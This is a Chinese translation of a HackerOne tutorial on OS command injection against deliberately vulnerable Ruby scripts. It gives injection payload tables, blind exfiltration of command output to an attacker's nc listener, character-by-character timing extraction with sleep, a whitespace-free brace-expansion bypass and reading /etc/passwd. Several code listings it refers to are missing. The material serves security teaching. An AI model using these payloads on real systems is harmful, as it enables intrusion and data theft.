第一次翻译文章,自己英语比较一般,不得不结合google翻译来完成。希望以后除了写原创文章,可以多翻译各种文章,提升自己low逼的英语水平,一般在翻译的最后,会列出一些相关的专业术语单词。
命令注入,也叫命令攻击,是一种常见的黑客攻击,和sql注入类似,主要是业务开发人员编写的不安全代码导致的漏洞攻击。
原文地址:
How To: Command Injections
https://www.hackerone.com/blog/how-to-command-injections
命令注入是一类漏洞,攻击者可以绕过业务本身,在服务器上执行的一个或多个系统命令。
在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行(RCE)不同。他们的区别在于,RCE实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统(OS)命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的。
构建环境
我们首先编写两个简单的Ruby脚本,并在本地运行,方便学习和查找关于利用命令注入漏洞。 我用的Ruby版本是2.3.3p222。
下面是ping.rb代码:
上面的代码,将接受参数并传给脚本,调用系统命令ping来执行,然后将返回结果在输出到屏幕上。
示例输出如下:
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms
我们可以看到,程序执行了ping -c 4 8.8.8.8,并将结果输出到屏幕。
这是另一个我们需要用到的脚本,server-online.rb。
server-online.rb脚本将根据ICMP响应(ping)来确定是否可以到达目标服务器。如果ping请求成功,输出yes,否则输出no。和第一个脚本相比,第二个脚本不再显示执行的具体结果。
yes
$ ruby server-on.rb '8.8.8.7'
no
进行测试
检测是否有命令注入漏洞的最佳方法是尝试执行一个sleep命令,并确定执行时间是否增加。
第一步,我们需要计算ping.rb脚本正常情况下的执行时间,并作为基准。
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.09s user 0.04s system 4% cpu 3.176 total
通过结果,我们可以看到脚本执行了3.176秒,现在,我们通过sleep确定是否存在命令攻击。
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.10s user 0.04s system 1% cpu 8.182 total
ruby脚本将执行命令ping -c 4 8.8.8.8 && sleep 5.
注意执行时间:它从3秒变成了8秒,正好增加了5秒。不过由于互联网有概率出现意想不到的延迟,很有可能增加的5秒恰巧是因为网络抖动而产生的。因此我们需要重复执行该命令,确认是否每一次都是8秒,最终确认命令执行漏洞。
我们再测试一下server-online.rb脚本,是否也是易受攻击的。
yes
0.10s user 0.04s system 4% cpu 3.174 total
$ time ruby server-online.rb '8.8.8.8 && sleep 5'
yes
0.10s user 0.04s system 1% cpu 8.203 total
再次证明,正常执行时间(基线时间)是3秒,而在命令中添加&& sleep 5后,执行时间增加到了8秒。
对于系统命令,我们可以构造多种sleep指令,比如:
当一个命令行被解析时,首先执行反引号之间的所有操作。 比如当执行echo`ls`时,程序首先会执行ls并捕获其输出。 然后,它将输出传递给echo,程序最终显示ls的输出,这被称为命令替换。由于执行反引号之间的命令是优先的,所以后来执行的命令即使失败也没关系。以下是带有注入有效载荷及其结果的命令表,命令注入的有效载荷被标记为绿色。
Command |
Result |
ping -c 4 8.8.8.8`sleep 5` |
sleep 命令执行,命令替换在命令行中工作。 |
ping -c 4 "8.8.8.8`sleep 5`" |
sleep 命令执行,命令替换工作在复杂的字符串(双引号之间)。 |
ping -c 4 $(echo 8.8.8.8`sleep 5`) |
sleep 命令执行时,命令替换在使用不同符号时在命令替换中工作(请参见下面的示例)。 |
ping -c 4 '8.8.8.8`sleep 5`' |
sleep 命令 不 执行,命令替换在简单的字符串(单引号之间)不起作用。 |
ping -c 4 `echo 8.8.8.8`sleep 5`` |
sleep 命令 不 执行, 当使用相同的符号时,命令替换不起作用。 |
看上面这个代码,这是命令替换的另外一种测试方法。 当反引号被过滤或编码时,上面这个很可能会派上用场。当使用命令替换来查找是否存在命令注入漏洞时,建议两种测试方法都使用,以避免有效负载已经被替换(见上表中的最后一个示例)。
在看这个语句,采用的是分号间隔方法,命令将会按照顺序(从左到右)执行。当序列中的某个命令失败时,程序不会停止,会继续执行后面的命令。
以下是带有注入有效载荷及其结果的命令表,注入的有效载荷被标记为绿色。
Command |
Result |
ping -c 4 8.8.8.8;sleep 5 |
sleep 命令执行,排序命令在命令行中使用时可以工作。 |
ping -c 4 "8.8.8.8;sleep 5" |
sleep 命令 不 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令. |
ping -c 4 $(echo 8.8.8.8;sleep 5) |
sleep 命令执行, 排序命令在命令替换中起作用. |
ping -c 4 '8.8.8.8;sleep 5' |
sleep 命令 不 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令. |
ping -c 4 `echo 8.8.8.8;sleep 5` |
sleep 命令执行,排序命令在命令替换中起作用。 |
使用管道技术,前一个命令的输出可以按照顺序传给后面的命令。
比如执行cat /etc/passwd | grep root时,程序将捕获cat /etc/passwd命令的结果,并将结果传递给grep root,最终显示与root相匹配的行。
当第一个命令失败时,它仍然会执行第二个命令。以下是带有注入有效载荷及其结果的命令表,注入的有效载荷被标记为绿色。
Command |
Result |
ping -c 4 8.8.8.8 | sleep 5 |
sleep 命令执行,管道输出在命令行中使用时工作。 |
ping -c 4 "8.8.8.8 | sleep 5" |
sleep 命令 不 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令. |
ping -c 4 $(echo 8.8.8.8 | sleep 5) |
sleep 命令执行,管道输出工作在命令替换。 |
ping -c 4 '8.8.8.8 | sleep 5' |
sleep 命令 不 执行, 该附加命令被注入到一个字符串中,该字符串作为参数传递给 ping 命令. |
ping -c 4 `echo 8.8.8.8 | sleep 5` |
sleep 命令执行,管道输出工作在命令替换。 |
漏洞利用
如何利用命令注入漏洞呢,一般需要确认它是普通命令注入还是命令盲注。两者之间的区别在于,通用命令注入将返回响应中执行命令的输出,而命令盲注不会在响应中返回命令的输出。
sleep指令通常用来证明是否存在命令注入,但是如果我们需要更多证据证明可以实施命令注入,那么id,hostname或whoami命令是非常有用的。服务器的hostname可用于确定受影响的服务器数量,并帮助厂商更快地获得漏洞影响。
通过命令注入在服务器上执行危险命令,厂商都是禁止的。因此,在测试或利用该漏洞之前,建议有厂商授权。在大部分情况下情况下,仅仅证明存在该漏洞的攻击是允许的,比如sleep,id,hostname或whoami,这些命令足以证明漏洞的影响,而且不会对服务器造成影响。
1. 通用命令注入
非常简单,任何注入的命令的输出都将返回给用户。
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms
jobert
通过ruby的执行结果,可以看到上半部分显示ping命令的输出,最下面一行显示了whoami命令的输出。通过whoami这个命令注入指令,我们就可以收集证据证明该脚本存在命令注入漏洞。当然,这次攻击不会对服务器造成影响。
2. 命令盲注
由于命令盲注,系统命令输出不会返回给用户,所以我们要使用其他方法来提取输出。
最直接的技术是将输出转移到我们自己的服务器。要模拟此实验,首先在我们自己的服务器上运行nc -l -n -vv -p 80 -k,并允许防火墙对外开放80端口。
设置完毕后,我们就可以在命令注入中使用nc,curl,wget,telnet或任何其他向互联网发送数据的工具,将输出发送到我们自己的服务器。
yes
观察我们自己的服务器,会发现接收到了目标服务器的hostname,也就是说命令注入将hostname的结果发送到了我们的服务器上。
Listening on [0.0.0.0] (family 0, port 81)
Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225)
hacker.local
在上面的例子中,nc用于将命令的输出发送到我的服务器。但是,目标服务器上的nc指令可能会被删除或无法执行。为了避免失败,有几个简单的有效载荷来确定命令是否存在。如果命令注入时间增加了5秒,那么该命令存在。
一旦我们确认了命令存在,我们就可以使用该命令将命令注入的输出发送到自己的服务器,如下所示:
即使server-online.rb脚本不输出hostname命令的结果,也可以将该输出发送到远程服务器,并由攻击者获取。 在某些情况下,厂商会将对外的TCP和UDP连接阻止。在这种情况下,我们仍然可以提取输出结果,只是更复杂一些。
为了提取输出,我们必须基于我们可以改变的内容来猜测输出。 在这种情况下,可以使用sleep命令来增加执行时间,这可以用来提取输出。这里的诀窍是将命令的结果传递给sleep命令。这里有一个例子:sleep $(hostname | cut -c 1 | tr a 5)。 让我们分析一下这个指令。
1. 语句首先执行hostname命令,我们假设它返回hacker.local。
2. 程序会把该输出传递给cut -c 1,将获取hacker.local的第一个字符,即字符h。
3. 再将h传递给命令tr a 5,这个命令的含义是将字符串中的a换成5。
4. 然后将tr命令的输出传递给sleep命令,因此这句执行sleep h。而这句指令会立即报错,因为sleep只能接受数字传参。我们可以不停的迭代tr指令,从a一直试到z。当我们测试到sleep $(hostname | cut -c 1 | tr h 5)时,程序会sleep 5秒钟,最终说明hostname的第一个字符串是h。
5. 接下来,修改cut参数为2,开始爆破第二个参数,以此类推,最终得到完整的hostname。
这是可能的输出结果:
Command |
Time |
Result |
ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)' |
3s |
- |
ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)' |
8s |
h |
ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)' |
8s |
a |
ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)' |
3s |
- |
ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)' |
8s |
c |
如何确定我们总共需要猜测多少字符:
将hostname的输出通过管道传递给wc -c,并再传递给sleep命令。由于hacker.local是12个字符,那么wc -c将返回13,因为wc会额外计数一个换行,另外脚本默认时间基线是3秒。
yes
0.10s user 0.04s system 0% cpu 16.188 total
上面的有效载荷表明,脚本现在需要16秒才能完成,这意味着主机名的输出为12个字符:16-3(基线)-1(新行)= 12个字符。
注意,以上测试程序,在你自己的机器上执行时可能不同,因为每个人的服务器hostname可能不同。
上述技术适用于较小的输出,而CTF比赛时,我们可能会读取文件,那么攻击可能需要很长时间。在出站连接被阻止,并且输出太长时间不能读取的情况下,这里还有一些其他的尝试方法:
FTP:尝试将文件写入可以从中下载文件的目录。
SSH:尝试将命令的输出写入MOTD,然后只需SSH到服务器。
Web:尝试将命令的输出写入公共目录(/var/www/)中的文件。
还有很多其他方法,我们需要根据不同服务器采用不同的攻击思路。在利用命令注入漏洞时,上面提到的所有技术都比较常见,关键是我们自己的攻击思路!
注入攻击防范
多年来,我看到的有效防范手段之一是对有效载荷中的空白的限制。有一些名为Brace Expansion的东西,可用于创建没有空格的有效载荷。以下是ping-2.rb,它是ping.rb的第二个版本。在将用户输入传递给命令之前,它会从输入中删除空格。
当传递8.8.8.8 && sleep 5作为参数时,它将执行ping -c 4 8.8.8.8 && sleep5,这将导致错误,显示没有找到命令sleep5。使用大括号扩展有一个简单的解决方法:
...
0.10s user 0.04s system 1% cpu 8.182 total
这也是一个有效负载,它将命令的输出发送到外部服务器,而且不使用空格:
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
或者读取/etc/passwd文件:
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by
# Open Directory.
...
因此,针对命令注入漏洞,只有开发人员采取具有针对性的不同过滤策略,才能彻底杜绝漏洞的发生。
Keyword List
单词 | 释义 |
vulnerability | 漏洞 |
baseline | 基准,基线 |
command substitution | 命令替换 |
payload | 有效载荷 |
backtick | 反引号 |
exploiting | 利用 |
proof/evidence | 证据 |
straightforward | 简单的 |
offload | 转移 |
1 Pingback